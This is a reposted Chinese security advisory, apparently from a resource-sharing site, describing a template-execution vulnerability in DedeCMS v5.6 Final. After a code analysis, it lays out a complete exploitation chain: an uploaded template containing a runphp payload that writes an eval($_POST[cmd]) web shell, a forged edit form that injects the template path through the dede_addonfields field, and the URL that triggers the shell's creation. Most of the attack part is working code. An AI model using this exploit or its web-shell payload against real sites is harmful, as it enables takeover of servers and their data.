DEDECMS网站管理系统模板执行漏洞(影响版本v5.6)
影响版本: DEDECMS v5.6 Final 程序介绍: DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心,是目前国内应用最广泛的php类CMS系统。 漏洞分析: Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。 1、member/article_edit.php文件(注入): //漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。
- …
- //分析处理附加表数据
- $inadd_f=\’\’;
- if(!emptyempty($dede_addonfields))//自己构造$dede_addonfields
- {
- $addonfields=explode(\’;\’,$dede_addonfields);
- if(is_array($addonfields))
- {
- print_r($addonfields);
- foreach($addonfieldsas$v)
- {
- if($v==\’\’)
- {
- continue;
- }
- $vs=explode(\’,\’,$v);
- if(!isset(${$vs[0]}))
- {
- ${$vs[0]}=\’\’;
- }
- ${$vs[0]}=GetFieldValueA(${$vs[0]},$vs[1],$aid);
- $inadd_f.=\’,\’.$vs[0]."=\’".${$vs[0]}."\’";
- echo$inadd_f;
- }
- }
- }
- …
- if($addtable!=\’\’)
- {
- $upQuery="Update`$addtable`settypeid=\’$typeid\’,body=\’$body\'{$inadd_f},userip=\’$userip\’whereaid=\’$aid\’";//执行构造的sql
- if(!$dsql->ExecuteNoneQuery($upQuery))
- {
- ShowMsg("更新附加表`$addtable`时出错,请联系管理员!","javascript:;");
- exit();
- }
- }
- …
2、include/inc_archives_view.php: //这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。
- …
- //issystem==-1表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询
- if($this->ChannelUnit->ChannelInfos[\’addtable\’]!=\’\’&&$this->ChannelUnit->ChannelInfos[\’issystem\’]!=-1)
- {
- if(is_array($this->addTableRow))
- {
- $this->Fields[\’redirecturl\’]=$this->addTableRow[\’redirecturl\’];
- $this->Fields[\’templet\’]=$this->addTableRow[\’templet\’];//取值
- $this->Fields[\’userip\’]=$this->addTableRow[\’userip\’];
- }
- $this->Fields[\’templet\’]=(emptyempty($this->Fields[\’templet\’])?\’\’:trim($this->Fields[\’templet\’]));
- $this->Fields[\’redirecturl\’]=(emptyempty($this->Fields[\’redirecturl\’])?\’\’:trim($this->Fields[\’redirecturl\’]));
- $this->Fields[\’userip\’]=(emptyempty($this->Fields[\’userip\’])?\’\’:trim($this->Fields[\’userip\’]));
- }
- else
- {
- $this->Fields[\’templet\’]=$this->Fields[\’redirecturl\’]=\’\’;
- }
- …
- //获得模板文件位置
- functionGetTempletFile()
- {
- global$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
- $cid=$this->ChannelUnit->ChannelInfos[\’nid\’];
- if(!emptyempty($this->Fields[\’templet\’]))
- {
- $filetag=MfTemplet($this->Fields[\’templet\’]);
- if(!ereg(\’/\’,$filetag))$filetag=$GLOBALS[\’cfg_df_style\’].\’/\’.$filetag;
- }
- else
- {
- $filetag=MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
- }
- $tid=$this->Fields[\’typeid\’];
- $filetag=str_replace(\'{cid}\’,$cid,$filetag);
- $filetag=str_replace(\'{tid}\’,$tid,$filetag);
- $tmpfile=$cfg_basedir.$cfg_templets_dir.\’/\’.$filetag;
- if($cid==\’spec\’)
- {
- if(!emptyempty($this->Fields[\’templet\’]))
- {
- $tmpfile=$cfg_basedir.$cfg_templets_dir.\’/\’.$filetag;
- }
- else
- {
- $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
- }
- }
- if(!file_exists($tmpfile))
- {
- $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid==\’spec\’?\’article_spec.htm\’:\’article_default.htm\’);
- }
- return$tmpfile;
- }
漏洞利用: 1.上传一个模板文件: 注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是: uploads/userup/2/12OMX04-15A.jpg 模板内容是(如果限制图片格式,加gif89a): {dede:name runphp=\’yes\’} $fp = @fopen("1.php", \’a\’); @fwrite($fp, \'<\’.\’?php\’."\\r\\n\\r\\n".\’eval($_POST[cmd])\’."\\r\\n\\r\\n?".">\\r\\n"); @fclose($fp); {/dede:name} 2.修改刚刚发表的文章,查看源文件,构造一个表单:
- <formclass="mTB10mL10mR10"name="addcontent"id="addcontent"action="http://127.0.0.1/dede/member/article_edit.php"method="post"enctype="multipart/form-data"onsubmit="returncheckSubmit();">
- <inputtype="hidden"name="dopost"value="save"/>
- <inputtype="hidden"name="aid"value="2"/>
- <inputtype="hidden"name="idhash"value="f5f682c8d76f74e810f268fbc97ddf86"/>
- <inputtype="hidden"name="channelid"value="1"/>
- <inputtype="hidden"name="oldlitpic"value=""/>
- <inputtype="hidden"name="sortrank"value="1275972263"/>
- <divid="mainCp">
- <h3class="meTitle"><strong>修改文章</strong></h3>
- <divclass="postForm">
- <label>标题:</label>
- <inputname="title"type="text"id="title"value="11233ewsad"maxlength="100"class="intxt"/>
- <label>标签TAG:</label>
- <inputname="tags"type="text"id="tags"value="hahah,test"maxlength="100"class="intxt"/>(用逗号分开)
- <label>作者:</label>
- <inputtype="text"name="writer"id="writer"value="test"maxlength="100"class="intxt"style="width:219px"/>
- <label>隶属栏目:</label>
- <selectname=\’typeid\’size=\’1\’>
- <optionvalue=\’1\’class=\’option3\’selected=\’\’>测试栏目</option>
- </select><spanstyle="color:#F00">*</span>(不能选择带颜色的分类)
- <label>我的分类:</label>
- <selectname=\’mtypesid\’size=\’1\’>
- <optionvalue=\’0\’selected>请选择分类…</option>
- <optionvalue=\’1\’class=\’option3\’selected>hahahha</option>
- </select>
- <label>信息摘要:</label>
- <textareaname="description"id="description">1111111</textarea>
- (内容的简要说明)
- <label>缩略图:</label>
- <inputname="litpic"type="file"id="litpic"onchange="SeePicNew(\’divpicview\’,this);"maxlength="100"class="intxt"/>
- <inputtype=\’text\’name=\’templet\’
- value="../uploads/userup/2/12OMX04-15A.jpg">
- <inputtype=\’text\’name=\’dede_addonfields\’
- value="templet,htmltext;">(这里构造)
- </div>
- <!–表单操作区域–>
- <h3class="meTitle">详细内容</h3>
- <divclass="contentShowpostForm">
- <inputtype="hidden"id="body"name="body"value="<div><ahref="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"target="_blank"><imgborder="0"alt=""src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"width="1010"height="456"/></a></div><p><?phpinfo()?>1111111</p>"style="display:none"/><inputtype="hidden"id="body___Config"value="FullPage=false"style="display:none"/><iframeid="body___Frame"src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member"width="100%"height="350"frameborder="0"scrolling="no"></iframe>
- <label>验证码:</label>
- <inputname="vdcode"type="text"id="vdcode"maxlength="100"class="intxt"style=\’width:50px;text-transform:uppercase;\’/>
- <imgsrc="http://127.0.0.1/dede/include/vdimgck.php"alt="看不清?点击更换"align="absmiddle"style="cursor:pointer"onclick="this.src=this.src+\’?\’"/>
- <buttonclass="button2"type="submit">提交</button>
- <buttonclass="button2ml10"type="reset"onclick="location.reload();">重置</button>
- </div>
- </div>
- </form>
提交,提示修改成功,则我们已经成功修改模板路径。 3.访问修改的文章: 假设刚刚修改的文章的aid为2,则我们只需要访问: http://127.0.0.1/dede/plus/view.php?aid=2 即可以在plus目录下生成小马:1.php 解决方案: 厂商补丁: DEDECMS ———— 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://www.dedecms.com/ 信息来源: oldjun\’s Blog
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » DEDECMS网站管理系统模板执行漏洞(影响版本v5.6)
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 织梦模板使用说明
- 你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html